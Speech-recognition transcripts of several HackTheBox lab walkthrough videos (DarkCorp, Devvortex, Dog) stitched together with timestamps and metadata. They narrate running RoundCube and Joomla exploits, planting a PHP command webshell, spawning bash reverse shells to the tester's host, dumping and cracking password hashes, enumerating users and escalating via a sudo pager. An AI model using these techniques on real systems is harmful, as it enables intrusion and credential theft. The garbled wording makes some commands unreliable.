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There we go. Poned. So, let's go back into WinRM and then let's go dot dot CD administrator CD desktop type root.ext and the machine has been pawned. Awesome. Uh, so that is going to be the box. I did say I want to include one other thing which I'm regretting now because this video feels long. Um, shoot. Uh, do I still...
8,674.24
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
I'm going to assume it's cleaned up. Normally, it says something. Um, but yeah. Uh, there was something early early on in the box. Um, there's an RCE on Round Cube itself. So, that's what we're going to go all the way back to. Um, once I close out all my PES. There we go. So, let's go to was it CVE details?
8,721.92
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Um, Round Cube. And let's see.
8,749.28
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Let's just go round cube. I think this is it, right? Yeah. So, this is what I was saying. 2025. Here we have all of nothing which is weird. If we go here, there is this CVE and this is actually an RCE. So, let's see. Do we have a PO uh round cube vulnerabilities? Round cube.
8,756.08
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Let's see. Public exploits exist.
8,783.28
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Let's go ahead and copy this. Get a PC.
8,789.52
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Okay, we have one. And I haven't actually ran this vulnerability yet. I just heard about it. So, um, you'll see me doing this for the first time, but it looks relatively simple. Exploit pop it like this. Okay, so let's do this. Uh, get clone cdc. Make sure they're not using any weird libraries. They're not. Um, let's s...
8,797.52
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
This is going to be was it mail.drip.htb username ipsack password like that. And the command uh let's do bash c bash dash i dev tcp 1010 10148 900 and 1.
8,824.88
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Okay. NC LVNP 90001 it looks like it worked. Um it did not give us a shell though.
8,849.52
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Let's see. I'm going to switch the quotes. That's normally the first thing I try.
8,865.2
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
That didn't The next thing let's do curl http 10 10 104 148 91 which curl it's going to be in user bin.
8,876.64
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Huh? That does not seem to be working.
8,899.439
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Let's see. So, we B 64 encode it.
8,905.52
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Um, we do have a shell in the box already. So, what I'm going to do real quick, let's just do touch temp. Let's just do dev shm.
8,913.2
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Then we can do sh- cddevshm. It did not write. So this exploit script does not look like it's working. Um, which means we may have to do a little bit of troubleshooting. I put a bad password here.
8,928.16
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Okay, it does fail login, which is good, but I'm not sure why it doesn't execute code. Let's just see if there's a different PC real quick. Um, let's do GitHub PC.
8,957.04
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Use Google and let's see. Here's another one.
8,970.16
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
We can just get clone this while we wait. get clone um make two get clone and oh this is a PHP one uh PHP URL username password command. So let's do PHP uh we can probably just pretty much hit the up arrow.
8,979.28
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Where is my bash? There we go. So, let's do PHP CVE. There we go. That PC worked. Um, I am not sure what is different between the two. Uh, pseudo v Etsy proxy chains.
9,010.08
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Let's do HTTP 127001 8080. I don't know how to proxy in PHP. So, this is um my quick and dirty way, right? Uh let's set this up to B. So hopefully I can just do proxy chains and run the command and we can kind of look at the web request that it's making and then see if we can figure out exactly why that Python script i...
9,039.92
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Let's see. Connections socks. Let's not use that.
9,089.92
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
We can turn intercept off because all we want to do is see this in history, right? There we go.
9,094.96
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
So, we do this edit form PHP. Where's my shell?
9,103.2
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
So, this is login. This nothing here.
9,111.359
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Is this my shell? Um, repeater decoder smart decoded correctly. Um, let's just run the Python one real quick. Go here Python. Um, let's do this.
9,117.52
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Python 3. This is HTTP.
9,158.479
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
What is it? Exploit.py.
9,166.16
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Okay, so here's the Python.
9,173.359
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
It's working completely differently. Um, crypt gpg engine.
9,181.2
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
This is probably the script B64-d. So, it's doing that type of payload. And this must be the B 64 command. So if I echo N B 64-d.
9,187.28
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
There we go. So that's our command that we're running. So in the content disposition form file strings 219.
9,205.6
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
I have no idea where it's putting our payload off the top of my head.
9,227.359
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Unless it's just weirdly encoded.
9,232.88
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Uh, this is what I get for trying to do this blind. I thought it was going to be easy. Um, I may just call it a video now. You saw it work. You see getting a shell. I'm not sure what's going on here. The Python one is at least easier to understand, but it's not working. Um, where do we put the payload or v command comm...
9,240.64
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
So it goes in this GPG engine.
9,284.16
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
And then preferences string length payload.png.
9,289.92
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Is there stuff my burp's not showing me here?
9,298.88
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Where is it? and from hex.
9,308.96
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
I think my burp's showing me everything.
9,319.68
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
It must be this. I must have decoded it wrong. Maybe burp did not decode it well. Um, see 21.
9,325.28
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Let's do man as see 21 could be exclamation point.
9,336.24
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Let's see. What am I looking for? Um, let's look for B. 142 9862.
9,347.92
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
62. Oh, wait. There's a dash. C plus B A S8.
9,358.479
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
Okay, it's putting this C3 between everything. And I don't know what that means, but you can see how this payload's working. Um, it's some weird encoding thing, but yeah, you can definitely tell there is a bash. B A S. Um, I'm not sure what's going on, but that's going to be the video. I can't really dig into this now....
9,369.2
0
{ "video_id": "miOE_yYh1JY", "title": "HackTheBox - DarkCorp", "url": "https://www.youtube.com/watch?v=miOE_yYh1JY" }
what's going on YouTube this is ipack I'm doing Dev Vortex from hack to box which is a relatively easy machine but if you zip through it and just use public exploit scripts you're not going to get everything the machine has to offer because the two main exploits of this box are relatively common exploits so if you just...
0.16
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
next step you just log into the database get a hash crack it and log in as a different user that can run a crash reporting command as pseudo this one has a recent cve as well that you can use to exploit the pager which is just using less and able to get a shell from that but a lot of commands with pseudo that use a pag...
39.559
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
tells us it's engine X also running on Ubuntu and it's directing us over to Dev vortex. htb so let's go ahead and add this to our host file so sud V ety host and then we can add 10 10 11242 Dev Vortex HTP and take a look at the website so going there we see just a page it says welcome to Dev Vortex and the first thing ...
88.72
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
like a gobster and Brute Force directories or virtual host we could do them both simultaneously but I like only doing one at a time otherwise you can overload the server so I'm going to start with just virtual host fuzzing so let's do um goster and I'm going to think it's vhost right uh gobster yep vurst then the URL H...
153.36
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
bar is different but let's see what we have here so it's just another Banner about what Dev Vortex is oddly enough the services there is a bit screwed up and there's nothing really too interesting if we go over to the Wyer it tells us it is running jumla and we could find out Juma if we just like guessed um directories...
226.439
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
date or it was um oh that's J L scan so one of the key pieces when looking at analyzers is try to pick one that has been updated recently right so I found jum L scan but we want to go to jum scan which is part of oasp so I think that's why it is kept more up to date we see 5 months ago there was a commit so let's just ...
290.36
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
away jom scan does detect it is version 4.2.6 and says the core is not vulnerable um while that runs you can also do all this stuff manually Juma makes it oddly easy for you to verify the version um it's like the administrator manifest file I forget exactly where it's stored but I'm always surprised that this isn't lik...
364.72
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
bunch of things on exploit DB and GitHub so this is talking about on February 16th there was a security advisory and let's see okay it exposed the version here it also exposes the version in this file appearance so this post is just saying how thread actors are discovering the version before they go and exploit it and ...
427.96
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
config and I know when I say misunderstanding um this is a mass assignment vulnerability it's not actually hardcoded to allow this so that's why I said it's interesting but we do get the user Lewis and the password here if you looked more in the vulnerability we're dumping the config of the application and this is the ...
495.479
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
other users on this if we hit like API users we're going to get a forbidden but again if we say public equals true this is going to list all the users we don't get their password hashers but we can see Lewis and Logan are on this box so let's talk about the exploit if we go here we see the jumla advisory uh let's see o...
553.279
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
around that time so I'm going to change my time to February of 2023 and we'll do the week of the 16th and then we look through the commits and one sticks out right away we have on the 16th merge Branch 428 security release into 42 Dev so if we take a look at this we will see it updating a bunch of just XML metadata we ...
622.079
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
methods and then we're going to get the route path and right here we're going to get the query so we're going to assign it's essentially saying um a variable is equal to PHP input it's probably going to be a dollar like that right essentially I think that's what this is doing it's going to grab all the supplied paramet...
708.36
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
then it overrides that and all of a sudden a route that used to require authentication no longer does right so that's just a mass assignment vulnerability they never really specified um the user can specify public they're just saying the user can give arguments to API endpoints and then we'll merge it right that's typi...
767.76
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
checks right here let's see right now we're going through all the variables in the route I'm guessing this where we can set public right and then right here we have if route vers public if this is not set because we have the exclamation there so if this variable is not set or the variable is equal to false then require...
836.959
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
application so if we grab this string V1 config application just search for it we can see how this route gets defined on before API we're defining V1 config application and then giving it all the parameters we have this git defaults and if we look at the git defaults it's going to set public is equal to false so right ...
902.88
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
different arguments right so you can't hardcode all the arguments you just want to say hey we're going to take some arguments from a user give them to this endpoint so that's why the fix was just after we take all the end points from the user let's make sure public isn't in there if it is let's unset it before we merge...
964.6
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
to find vulnerabilities because it's very timec consuming but what I could have done if I was looking at jumla right I take something that has a forbidden right and you should be doing this anyways um and then going to a tool like fuff so let's do f-u go here and we can say fuzz is equal to um we'll just do one right a...
1,016.68
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
taking the entire URL that's definitely not what I want um Discovery web content let's just do raft small words. text or we can do lowercase as well and this one may take a while but eventually I think we will find one that says public is equal to true or public is equal to something and it won't be a 403 it'll be a 20...
1,105.76
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
if we look at public let's make sure the string starts and ends yes it does so one of two things either happen maybe there's an HTTP header it doesn't like or one is being treated as false in PHP which I don't think is the case if we do if one then Echo true I have to put the semicolon there that works zero so I don't ...
1,163.52
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
1271 8080 so this is going to send the request from FFF over to Bur sweet right yes okay and the first one was temp and could not match accepted header what in the world it doesn't not like so whenever you do fuzzing you should always make sure like do a vanilla request to test it because there could just be something ...
1,223.28
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
did not like I guess it couldn't do gz it like if we just got rid of accept en coding all together nope it needed uh let's go backwards it wasn't accept en coding we just need accept so when we talk to the API it really wants to know what we accept and I really hate that by BP Suite um so it's not encoding it's just ac...
1,330.96
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
do please sub just so it goes a bit quicker right actually no I want to fuzz with everything to see if there's many false positives in this so we're fuzz with everything um dash for header and what was it accept and we can do star star okay so we get a bunch of 401s so we can say filter code 401 so now we're going to h...
1,416.64
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
that's probably just saying um what type of format do we want it in I'm guessing like HTML may work or something something I don't know but you'd have to see exactly what the format parameter is because I'm guessing that's another Mass assignment thing that's screwing up things but I doubt format is actually going to b...
1,490.399
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
a vanilla request to make sure it's what you expect because there may be a header that is missing that you just don't expect like that except one that we saw so let's Now log into the box if we went to the config we saw the Lewis user and then the password of Panther got something I can't even read that text but that l...
1,543.32
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
exactly how the plugin system works for that um CMS it's normally like a zip file with a manifest that explains it and then some PHP code or whatever the language is but with templates it becomes a little bit easier because you just have straight PHP files that you have to edit the main issue is finding out where they ...
1,605.52
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
candidates and then all we want to do is uh put some PHP code in to get a shell so I'm going to say if is set then we can say request CMD and then we can do system request CMD so the reason why I'm checking if is set first is because if you access this error page without CMD and just do system CMD then you get a big na...
1,661.399
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
positive but this will work just fine okay so right off the bat we have internal server error that's not great we do CMD who am I so I think we have an error in our PHP code so if is set I wonder if we have to put what's in the if in parenthesis save we're still getting internal server error so what I'm going to do is ...
1,751.6
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
here CMD equals ID okay let's just get a reverse shell so we can do bash DZ then bash d i Dev TCP 10 10 148 9,1 0 and 1 URL encode this send the shell then let's import PTY PTY spawn b bash let's fix a TTY rows 28 columns 110 and then stty raw minus Echo forr there we go so now we have a reverse shell so the very first...
1,838.799
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
going to do my SQL D l-p put in the password show databases use jumla uh show tables and let's see describe sd4 FG users so we see all the tables or the columns and I'm going to say select username email password from the users and let's see we have Lewis and Logan so let's go and send these over to the crack so let's ...
1,936.08
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
jumla is going to be under e-commerce so I just use the standard bcrypt with which is going to be the most common one right so now that we have it running we have one hash that's already cracked and it is deiro mucho maybe um let's see the one thing I don't like is when you specify the users it doesn't say it as it goe...
2,033.679
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
HTP I could have just done like an Su on my terminal right uh it was Logan and the reason why I'm not trying it on jumla anything because we've already completely popped jumla there's no point in popping it more right we had an admin so this was the only other place we could try a login for so checking the pseudo list ...
2,079.76
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
include a file so maybe I can just like include root. text and it goes and outputs it uh if we do- C and then a path maybe that does it so we can say pseudo Port DC root root. text and it can't be processed not enough values so we need an actual error report here um so the other thing we could also do is look at the ve...
2,138.599
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
vulnerable uh 20111 and that is uh what we have so let's try this actually I have not ran this exploit script option allow anyone this is log rotate we don't have pseudo log rotate so that won't work here's a 2023 cve I think the other one was 2021 which is why I was like questioning it right and we can see this one is...
2,255.76
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
what happens here but I may want to set my terminal size to be small that why it will uh that that I can't even speak if I set my terminal size to small then it we'll use the page a less so we can like scroll through it right let's view the report oh I'm in less already right so I'm going to do a colon exclamation poin...
2,355.8
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
it won't but it's just playing with it until it goes into this and this has been a somewhat common uh vulnerability with just applications running as pseudo as this pager um it does not I kind of expected this screen to trigger the pager but only it triggers when we try to view the report right um we see the report is ...
2,421.48
0
{ "video_id": "jdWOXokQQK0", "title": "HackTheBox - Devvortex", "url": "https://www.youtube.com/watch?v=jdWOXokQQK0" }
What's going on YouTube? This is IPSC and we'll be doing dog from hack the box which is a nice and easy machine that is running backdrop CMS and has an open.get directory. If we pull the doggget directory we'll discover my SQL credentials but it doesn't give us anything right away because the username doesn't let us lo...
0.16
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
We'll have to find a way to enumerate valid users on this CMS so we can perform a password spray which gets a little bit tricky because some of the endpoints have brute force protection.
18.4
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
But poking around we can find a way to enumerate users that is unprotected. So we can do that find valid users then perform a password spray login to backdrop and then we'll install a malicious plugin to get code execution and switch to another user through password reuse yet again. And then for root, we can run a tool...
27.599
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
And then the IP address, which is 10101.58.
68.88
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22, and the banner tells us it's an Ubuntu server. We also have HTTP on port 80. Its banner tells us it's Apache also running on Ubuntu.
72.24
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
And then it's also got a lot of the like end mapap scripts running, right? The interesting ones are robots.ext that gives us a lot of URLs we could potentially play with. Um, readme.md.
89.84
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
Most likely this comes from GitHub. If we see this file, uh we can always go ahead and request that real quick because normally when you look at a readme, um it may have things like the version of software installed, right? In this case, it tells us it is running on backdrop, but I don't see anything related to the ver...
100.079
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
So, what's different about this? Well, a lot of the previous ones had virtual host routing. So just accessing the IP address told you you had to go to a different host which until you add it to your host file so that DNS resolution works. Um you couldn't access it right.
144.959
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
Um this one doesn't have any virtual host routing. So NAP is able to make queries against that web server for default files and.git is one of the ones MAPAP has. So um really nice to have NAPAP tell us a git repository was found. We should go ahead and download that. But before I do, I just want to take a look at the w...
160.16
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
Now, the things I normally look for is how to just list all users, right? Um, in WordPress, you'd click like on the username and then the URL would have like um slashwp- something question mark u= 1 or something and you could just like increment that ID u= 2 u= 3 and whatever and get all the users. Backdrop isn't givin...
196.8
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
download the.get directory, right? Because if we do get, let's see what we get. We just have the git repository. So, I'm going to copy this. I'm going to make a directory called source. Um source, not srv. Let's get rid of srv. There we go. Um I'm going to run a tool called get dumper.
251.04
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
If you don't have this, you can probably just do a pip x install get dumper. But we just give it the get directory and then where we want to save it to, which is source, and it's going to go ahead and fetch that.getit and then assemble the latest commit for us. So once this happens, we'll be able to look at what the um...
270.479
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
It's within the plugins that get installed afterwards. Right? Those have a lot less um eyes on them to check. And this is taking much longer than I thought to download, but there we go.
306
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
It's done. I thought I was going to have to pause the video there for a second.
316.72
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
But looking in this directory, um if we look at it, let's see. Is there like a plugins directory? If I do GP plugin, uh, views, plugins, task plugins, layout, ck editor, plugins. Maybe I'm at a loss right now. So, I'm going to check one of the files first. It was just settings.php.
319.759
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
So, let's go ahead and open that. And right off the bat, when I'm looking at it, we see database and then we have backdrop whatever, right? So, we have a password here. Um, I'm going to just grab my SQL on that file so I can easily copy it. And then, um, other things I would do is like a get log to see if there's any o...
344.08
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
We can do root and put in this password.
377.68
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
and we get unrecognized username. If we do um let's find a valid user, right? So I'm going to go over to dog uh we have dog backdrop system. Normally the author is also a user. So if I do this we get incorrect password. So we have a way to enumerate valid usernames.
380.16
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
We could also go to like the reset password. And if we do root here, we see not recognize username or email address.
401.44
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
And if we put in this, we get unable to send email. So we have a easy way to enumerate users. Let's go ahead and send this over to Burpswuite. So I'm going to send it here. And I'm going to use the request password just because I think that's a better one to use since I don't have to worry about a second parameter. So,...
409.84
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }
We get a whole page back. I was hoping it would just be like an API response.
445.759
0
{ "video_id": "Z24FN8qqngY", "title": "HackTheBox - Dog", "url": "https://www.youtube.com/watch?v=Z24FN8qqngY" }